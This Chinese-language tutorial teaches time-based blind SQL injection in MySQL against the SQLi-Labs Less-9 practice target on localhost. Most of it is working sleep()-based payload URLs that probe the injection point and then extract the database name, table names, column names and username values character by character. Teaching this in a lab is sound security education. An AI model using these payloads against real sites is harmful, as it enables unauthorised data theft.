MySQL盲注:基于时间延迟注入(Sleep函数)

这里靶场我们还是以“SQLi-Labs”为实战来讲解吧!

 

一、判断注入点

常用的判断语句:

' and if(1=0,1, sleep(10)) --+    
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+

 

注入示例:

http://127.0.0.1/sqli-labs/Less-9/?id=1 ' and if(1=0,1, sleep(10)) --+

 

判断正确,显示you are in.......you are in.......

 

判断失败,无显示mysql盲注 不报任何错误

 

二、判断数据库名

 

1、查询数据库名长度

由于是本地测试,我知道数据库长度、名字等这些,所以用的是等号 =,实战中可以用大小于来进行一个判断,缩短时间。

http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

 

2、查询当前数据库名的第一个字符

(substr(database(),1,1) : 截取当前数据库的第一个字符

ascii() : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)

http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

或者

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left(database(),1)='s',sleep(10),1) --+

 

 

依次类推......

 

三、猜测数据库表名

 

1、判断表名长度

猜测security数据库里的第四个表的长度,猜测哪个表可以用limit来控制;

http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

 

2、判断表名第一个字符

猜测security数据库里的第四个表的第一个字符;

http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

 

依次类推......

 

四、判断数据库表中的列名

 

1、判断列名长度

猜测 security数据库 里的 users表 的第二个字段长度,也就是第二个列名的字段长度。

http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

 

2、判断列名第一个字符

猜测 security数据库 里的 users表 的第二个列名字段的第一个字符。

http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

 

依次类推......

 

五、判断表列名的数据值

 

1、猜测 security数据库 里的 users表 的第二个字段username的第一个数据的长度

http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

 

2、判断username列名的值第一个字符是否为D?

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select username from security.users limit 0,1),1)='D',sleep(10),1) --+

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substring((SELECT username FROM security.users),1,1))=119,sleep(10),1) --+
    A+
发布日期:2019年08月14日 17:51:57  所属分类:渗透测试
最后更新时间:2019-08-14 18:28:34
付杰
  • ¥ 999元
  • 市场价:4999元
  • ¥ 6.8元
  • 市场价:8.8元
  • ¥ 99.0元
  • 市场价:129.0元
  • ¥ 59.0元
  • 市场价:99.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: